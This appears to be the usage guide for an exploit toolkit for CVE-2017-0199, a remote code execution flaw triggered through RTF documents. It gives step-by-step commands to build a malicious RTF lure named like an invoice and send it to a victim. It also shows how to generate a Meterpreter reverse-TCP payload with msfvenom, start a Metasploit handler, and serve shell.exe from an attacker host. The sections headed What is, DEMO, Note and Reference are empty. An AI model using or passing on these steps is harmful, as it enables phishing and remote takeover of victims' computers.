What is CVE-2017-0199?

Exploit

1. Download cve-2017-0199_toolkit
2. Generate malicious RTF file using following command and send it to victim

   Syntax:
   # python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u <http://attacker.com/test.hta>
   Example:
   # python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc
   
   
3. (Optional, if using MSF Payload) : Generate metasploit payload and start handler

   Example:
   Generate Payload:
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   Start Handler:
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
   
   
4. Start toolkit in exploitation mode to deliver payloads

   Syntax:
   # python cve-2017-0199_toolkit.py -M exp -e <http://attacker.com/shell.exe> -l </tmp/shell.exe>
   Example:
   # python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
   
   

DEMO

Note

Reference